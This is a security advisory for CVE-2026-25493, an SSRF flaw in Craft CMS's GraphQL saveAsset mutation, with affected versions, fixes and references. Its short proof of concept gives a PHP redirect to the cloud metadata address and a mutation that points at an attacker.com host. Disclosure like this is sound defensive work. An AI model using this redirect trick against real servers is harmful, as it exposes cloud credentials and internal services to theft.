CVE-2026-25493
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect
Impact
## Summary The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. --- ## Proof of Concept 1. Host a redirect script on your server (e.g. `redirect.php`): ```php <?php header("Location: http://169.254.169.254/latest/meta-data/"); ?> ``` 2. Send the following GraphQL mutation: ```graphql mutation { save_images_Asset(_file: { url: "https://attacker.com/redirect.php" filename: "metadata.txt" }) { id } } ``` 3. The application validates `attacker.com` (passes) 4. Guzzle follows the redirect to `169.254.169.254` 5. Cloud metadata is saved as an asset --- ## Mitigation - Disable redirects.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| composer | craftcms/cms | >= 5.0.0-RC1, <= 5.8.21 | 5.8.22 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Craftcms | Craft Cms | after 4.0.0 before 4.16.18 after 5.0.0 before 5.8.22 Versions 4.0.0, 5.0.0 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/craftcms/cms/commit/0974055634af68998f67850ab2045d8aaa19fa98
- https://github.com/craftcms/cms/releases/tag/5.8.22
- https://github.com/craftcms/cms/security/advisories/GHSA-8jr8-7hr4-vhfx
- https://github.com/advisories/GHSA-8jr8-7hr4-vhfx
- https://github.com/craftcms/cms/releases/tag/4.16.18
- https://nvd.nist.gov/vuln/detail/CVE-2026-25493